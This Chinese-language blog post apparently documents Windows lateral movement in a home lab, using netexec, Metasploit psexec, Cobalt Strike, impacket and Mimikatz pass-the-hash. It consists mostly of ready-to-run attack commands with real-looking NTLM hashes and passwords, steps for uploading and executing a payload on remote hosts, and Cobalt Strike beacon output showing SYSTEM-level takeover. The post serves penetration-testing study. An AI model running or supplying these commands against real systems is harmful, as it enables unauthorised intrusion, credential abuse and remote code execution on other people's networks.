proxychains -q netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method mmcexec --local-auth -x whoami

proxychains -q netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method wmiexec --local-auth -x whoami

Pasted image 20250828024514.png

wmi
proxychains -q netexec wmi 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method wmiexec --local-auth -x whoami

proxychains -q netexec wmi 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method wmiexec-event --local-auth -x whoami

Pasted image 20250828024559.png

winrm
netexec winrm 10.10.10.20 -u administrator -p 1qaz@WSX --local-auth -x whoami

netexec winrm 10.10.10.20 -u administrator -p '1qaz@WSX' --local-auth -X "Get-Process"

Pasted image 20250828024651.png

上传文件
proxychains -q netexec wmi 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method wmiexec --local-auth -x "dir C:\windows\temp\qiaoshen.exe"

# 上传
netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --put-file /root/tmp/payload/qiaoshen.exe windows\\temp\\qiaoshen.exe --local-auth

注意:
	默认上传到目标服务器会自动带上 C$,因此直接写 C$ 后的路径即可,否则报错。

Pasted image 20250828025525.png

下载文件
下载文件同理

netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --get-file windows\\temp\\qiaoshen.exe /root/tmp/qiaoshen.exe --local-auth

Pasted image 20250828025823.png

执行文件
netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX -x 'C:/Windows/temp/qiaoshen.exe' --local-auth

Pasted image 20250828025930.png

Pasted image 20250828025939.png

4)Cobalt Strike

	需要是 administrator 权限,因为都是利用的 psexec 这种利用了 Pipe、IPC 管道的,都需要 administrator 权限才可以 远程连接控制。

1、凭据获取

前面章节写了,看前面。
hashdump

logonpasswords

Pasted image 20250828030212.png

Pasted image 20250828030223.png

2、扫描存活主机

前面章节写了,看前面。

3、横向移动

1、创建 SMB 监听器
Pipename - 管道名 - 自定义。

Pasted image 20250828030342.png

2、Jump - psexec

Pasted image 20250828030511.png

Pasted image 20250828030722.png

3、上线
因为 psexec 的手法,利用的服务创建的方式,横移后上线的也直接就是 SYSTEM 系统高权限。

Pasted image 20250828030950.png

# 核心本质解析

rev2self
# 还原token令牌

pth PC\Administrator 161cff084477fe596a5db81874498a24
# 使用mimikatz执行PTH操作
# mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4"

jump psexec WEB tcp1
# 生成 windows/beacon_bind_tcp (0.0.0.0:4443) 对应的 payload (\\WEB\ADMIN$\c930c4b.exe),并上传到WEB主机
# 在WEB主机通过 Service Control Manager 创建并启动服务 c930c4b 运行 payload






beacon> rev2self
[*] Tasked beacon to revert token

beacon> pth PC\Administrator 161cff084477fe596a5db81874498a24
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4" command

beacon> jump psexec WEB tcp1
[*] Tasked beacon to run windows/beacon_bind_tcp (0.0.0.0:4443) on WEB via Service Control Manager (\\WEB\ADMIN$\c930c4b.exe)
[+] host called home, sent: 640563 bytes
[+] Impersonated PC\Administrator
[+] received output:
Started service c930c4b on WEB
[+] established link to child beacon: 10.10.10.20
[+] received output:
user : Administrator
domain : PC
program : C:\Windows\system32\cmd.exe /c echo 50465323d7f > \\.\pipe\03c5e4
impers. : no
NTLM : 161cff084477fe596a5db81874498a24
 | PID 4012
 | TID 1172
 | LSA Process is now R/W
 | LUID 0 ; 6146101 (00000000:005dc835)
 \_ msv1_0 - data copy @ 00000000016DE7E0 : OK !
 \_ kerberos - data copy @ 000000000161E8E8
 \_ aes256_hmac -> null 
 \_ aes128_hmac -> null 
 \_ rc4_hmac_nt OK
 \_ rc4_hmac_old OK
 \_ rc4_md4 OK
 \_ rc4_hmac_nt_exp OK
 \_ rc4_hmac_old_exp OK
 \_ *Password replace @ 0000000001B4C668 (16) -> null
```QiaoShen
##### psexec、psexec64 和 psexec_psh 区别

###### 1. psexec (传统PsExec)
- 实现方式:使用服务控制管理器(SCM)创建 Windows 服务。
- 特点:
	- 上传服务 二进制文件 到目标主机(默认位置:ADMIN$\system32\ )
	- 需要管理员权限。
	- 会在目标系统创建服务项(默认名称随机)。
	- 执行后自动清理服务。
- 适用场景:
	- 稳定的内网环境。
	- 需要可靠执行的情况。
	- 目标系统未开启防御措施。

###### 2. psexec64 (64位版本)
- 实现方式:与psexec相同,但使用 64位 payload。
- 特点:
	- 专为 64位 系统设计。
	- 避免 32位 进程在 64位 系统上的兼容性问题。
	- 其他特性与传统 psexec 相同。
- 适用场景:
	- 目标系统是 64位 Windows。
	- 需要避免 WOW64 重定向问题。

###### 3. psexec_psh (PowerShell版本)
- 实现方式:使用PowerShell远程执行。
- 特点:
	- 无文件落地(完全在内存中执行)
	- 依赖 PowerShell Remoting (WinRM)
	- 需要目标启用 PSRemoting (5985/5986端口)
	- 更隐蔽,但依赖系统配置。
- 适用场景:
	- 需要规避传统检测机制。
	- 目标系统已配置PowerShell Remoting。
	- 需要避免文件写入的操作。

| 特性   | psexec  | psexec64    | psexec_psh          |
| ---- | ------- | ----------- | ------------------- |
| 实现方式 | 服务创建    | 服务创建 (64 位) | PowerShell Remoting |
| 文件落地 | 是       | 是           | 否                   |
| 权限要求 | 管理员     | 管理员         | 管理员                 |
| 依赖组件 | SCM     | SCM         | WinRM/PowerShell    |
| 隐蔽性  | 低       | 低           | 高                   |
| 适用系统 | 32/64 位 | 64 位优先      | 32/64 位             |
| 日志记录 | 服务日志明显  | 服务日志明显      | PowerShell 日志       |
| 端口需求 | 445     | 445         | 5985/5986           |

## 3. PTH

```QiaoShen
其实 PTH 已经是在 内网横移了,PTH 成功 则 内网横移 成功了已经。
	可以通过 PTH 一个一个验证碰撞是否可以成功横移到其他的内网主机;如果碰撞成功了那么直接就内网横移成功了。
	PTH(Pass The Hash)是一种利用NTLM或LM哈希值而非明文密码进行身份验证的攻击技术。攻击者获取用户密码的哈希值后,可以直接使用该哈希值在网络中进行横向移动,无需破解出明文密码。

	是域环境当中 横向移动的 核心方法。
		但是无论是在 域环境 当中 还是在 工作组 当中,都可以使用该方法 进行横向移动。
			只不过在工作组当中,很少有在一台主机当中存在另一台主机相关 密码凭证 的情况,因此其实大部分情况 PTH 都是在域环境当中存在。

攻击原理

1. NTLM认证机制:

  • Windows系统使用 NTLM 协议进行身份验证时,实际上使用的是密码哈希值而非明文密码。
  • 服务器端并不验证原始密码,只验证客户端提供的哈希值是否正确。

2. 哈希重用特性:

  • 同一账户在不同机器上的密码哈希值相同 (除非启用了 CredSSP 或限制 NTLM )
  • 攻击者获取的哈希值可在整个域环境中重用。

3. 协议设计缺陷:

  • NTLM 协议设计时未考虑哈希值本身作为凭证的安全风险。
  • 服务器无法区分哈希值是来自合法计算还是被窃取的。

前提条件

1. 获取有效的密码哈希值

  • 必须已获取目标用户的 NTLM 或 LM 哈希值

  • 常见获取方式:

    1. 内存提取(如LSASS进程)
    2. SAM数据库提取
    3. 域控制器上的NTDS.dit文件
    4. 网络嗅探NTLM认证流量

2. 目标系统使用NTLM认证

  • 目标服务/系统 必须允许 NTLM 认证,如果系统强制使用 Kerberos 认证,PTH 攻击将失效

  • 常见支持NTLM的服务:

    1. SMB文件共享
    2. RDP远程桌面(需特殊配置)
    3. Windows远程管理(WinRM)
    4. IIS Web应用(配置NTLM认证时)

3. 网络可达性

  • 攻击者必须能够通过网络访问目标系统

  • 相关端口必须开放:
    SMB: 445/TCP
    RDP: 3389/TCP
    WinRM: 5985/5986(TCP)

    任意一个开启即可尝试 PTH。

4. 账户权限

  • 使用的哈希值对应的账户在目标系统上需要有足够的权限

  • 常见有效目标账户:

    1. 本地管理员组成员
    2. 域管理员组成员
    3. 具有远程登录权限的账户

    KB2871997 补丁:2014 年 5 月 13 日微软发布了更新补丁 KB2871997,禁止本地管理员账户(除 Administrator (SID 500)之外)用于远程连接,这样就无法以本地管理员用户的权限执行 wmi、PSEXEC、schtasks、at 和访问文件共享。

攻击流程

1. 信息收集阶段:

  • 获取目标系统的用户哈希值(通过 LSASS 内存转储、SAM 数据库提取等方式)。
  • 识别网络中的其他可访问系统。

2. 哈希传递阶段:

  • 使用获取的哈希值尝试对其他系统进行身份验证。
  • 常见工具:Mimikatz、Impacket 套件中的 psexec.py 等。

3. 权限提升与横向移动:

  • 成功验证后,在目标系统执行命令。
  • 进一步收集新系统的哈希值,继续横向移动。

4. 目标达成:

  • 获取域管理员等高权限账户哈希。
  • 控制整个域环境。

Pasted image 20250827174601.png

利用

1)工作组 PTH

1. MSF
psexec 横向移动
	exploit/windows/smb/psexec 模块
setg proxies socks5:127.0.0.1:4080

use exploit/windows/smb/psexec

set rhosts 10.10.10.20

set smbuser administrator

set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24

set lport 4206

run

Pasted image 20250827180959.png

Pasted image 20250827182946.png

2. Cobalt Strike
其实用 Beacon TCP 或者 Beacon SMB 的监听器都可以。

Pasted image 20250827183126.png

Pasted image 20250827184050.png

Pasted image 20250827184346.png

Pasted image 20250827184450.png

Pasted image 20250827184537.png

# 核心本质解析

rev2self
# 还原token令牌

pth PC\Administrator 161cff084477fe596a5db81874498a24
# 使用mimikatz执行PTH操作
# mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4"

jump psexec WEB tcp1
# 生成 windows/beacon_bind_tcp (0.0.0.0:4443) 对应的 payload (\\WEB\ADMIN$\c930c4b.exe),并上传到WEB主机
# 在WEB主机通过 Service Control Manager 创建并启动服务 c930c4b 运行 payload






beacon> rev2self
[*] Tasked beacon to revert token

beacon> pth PC\Administrator 161cff084477fe596a5db81874498a24
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4" command

beacon> jump psexec WEB tcp1
[*] Tasked beacon to run windows/beacon_bind_tcp (0.0.0.0:4443) on WEB via Service Control Manager (\\WEB\ADMIN$\c930c4b.exe)
[+] host called home, sent: 640563 bytes
[+] Impersonated PC\Administrator
[+] received output:
Started service c930c4b on WEB
[+] established link to child beacon: 10.10.10.20
[+] received output:
user : Administrator
domain : PC
program : C:\Windows\system32\cmd.exe /c echo 50465323d7f > \\.\pipe\03c5e4
impers. : no
NTLM : 161cff084477fe596a5db81874498a24
 | PID 4012
 | TID 1172
 | LSA Process is now R/W
 | LUID 0 ; 6146101 (00000000:005dc835)
 \_ msv1_0 - data copy @ 00000000016DE7E0 : OK !
 \_ kerberos - data copy @ 000000000161E8E8
 \_ aes256_hmac -> null 
 \_ aes128_hmac -> null 
 \_ rc4_hmac_nt OK
 \_ rc4_hmac_old OK
 \_ rc4_md4 OK
 \_ rc4_hmac_nt_exp OK
 \_ rc4_hmac_old_exp OK
 \_ *Password replace @ 0000000001B4C668 (16) -> null
3. impacket
wmiexec
# 执行 ipconfig 命令
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] "ipconfig"

# 中文编码解决乱码。
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] "ipconfig" -codec gbk

# 获取 CMD_Shell
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] -codec gbk

Pasted image 20250827185806.png

Pasted image 20250827185824.png

Pasted image 20250827185513.png

Pasted image 20250827185624.png

smbexec
# 得到 CMD_Shell
python3 smbexec.py -hashes :161cff084477fe596a5db81874498a24 [email protected] -codec gbk

# 执行命令
smbexec 不能直接执行命令。

Pasted image 20250827190100.png

Pasted image 20250827190023.png

4. netexec
--local-auth 表示指定的为 主机自身的工作组,而非 域环境。
smb
proxychains -q netexec smb 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth

proxychains -q netexec smb 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

Pasted image 20250827191457.png

Pasted image 20250827191536.png

Pasted image 20250827191647.png

Pasted image 20250827191705.png

Pasted image 20250827191731.png

wmi
proxychains -q netexec wmi 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth

proxychains -q netexec wmi 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

Pasted image 20250827191919.png

winrm
proxychains -q netexec winrm 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth

proxychains -q netexec winrm 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

Pasted image 20250827192652.png

# 开启 winrm 方法
winrm quickconfig
(shell winrm quickconfig -q)

# 允许远程主机访问及访问远程主机
# WinRM 只允许当前域用户或者处于本机 TrustedHosts 列表中的远程主机进行访问
winrm set winrm/config/client @{TrustedHosts="*"}

Pasted image 20250827192240.png

Pasted image 20250827192402.png

5. Mimikatz
当我们获得了内网中一台主机的 NTLM 哈希值,我们可以利用 mimikatz 对这个主机进行哈希传递攻击,执行命令成功后将会反弹回 cmd。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:10.0.1.143 /ntlm:161cff084477fe596a5db81874498a24" exit
net use \\10.10.10.20\C$
dir \\10.10.10.20\C$
copy payload \\10.10.10.20\C$
net use z: \\10.10.10.20\C$
不知道为什么还是需要经过域的认证,域环境现在有问题无法使用

域环境 PTH

1. MSF
psexec
	exploit/windows/smb/psexec 模块
setg proxies socks5:127.0.0.1:4080

use exploit/windows/smb/psexec

set smbdomain qiaoshen.local

set smbuser administrator

set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24

set lport 4206

run
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set rhosts 10.10.10.10
msf6 exploit(windows/smb/psexec) > set smbdomain qiaoshen.local
msf6 exploit(windows/smb/psexec) > set smbuser QiaoShen
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
msf6 exploit(windows/smb/psexec) > run
2. Cobalt Strike
同理一样的,只是凭据选择的是 域环境的 用户凭据而已。
3. impacket
域环境出现了一些问题,无法实操截图。
wmiexec
# 执行 ipconfig 命令
proxychains -q python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24  qiaoshen/[email protected] -codec gbk "ipconfig"

# 获取 CMD_Shell
proxychains -q python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24  qiaoshen/[email protected] -codec gbk 
smbexec
# 得到 CMD_Shell
proxychains -q python3 smbexec.py -hashes :161cff084477fe596a5db81874498a24 qiaoshen/[email protected]

# 执行命令
smbexec 不能直接执行命令。
4. netexec
域环境出现了一些问题,无法实操截图。
--local-auth 表示指定的为 主机自身的工作组,而非 域环境。
	若是需要域环境,则取消掉 --local-auth,并可以通过 -d qiaoshen.local 指定域名称。
smb
proxychains -q netexec smb 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 -d qiaoshen.local --codec gbk

proxychains -q netexec smb 10.10.10.20 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local -x whoami --codec gbk
wmi
proxychains -q netexec wmi 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local --codec gbk

proxychains -q netexec wmi 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local -x whoami --codec gbk
5. Mimikatz
当我们获得了内网中一台主机的 NTLM 哈希值,我们可以利用 mimikatz 对这个主机进行哈希传递攻击,执行命令成功后将会反弹回 cmd。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:QiaoShen /domain:qiaoshen.local /ntlm:161cff084477fe596a5db81874498a24" exit
net use \\dc\C$
dir \\dc\C$
copy payload \\dc\C$
net use z: \\DC\C$
需要经过域的认证,域环境现在有问题无法截图

3)PTT

文章作者: QiaoShen
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 QiaoShen-World
Linux Windows 横向移动
喜欢就支持一下吧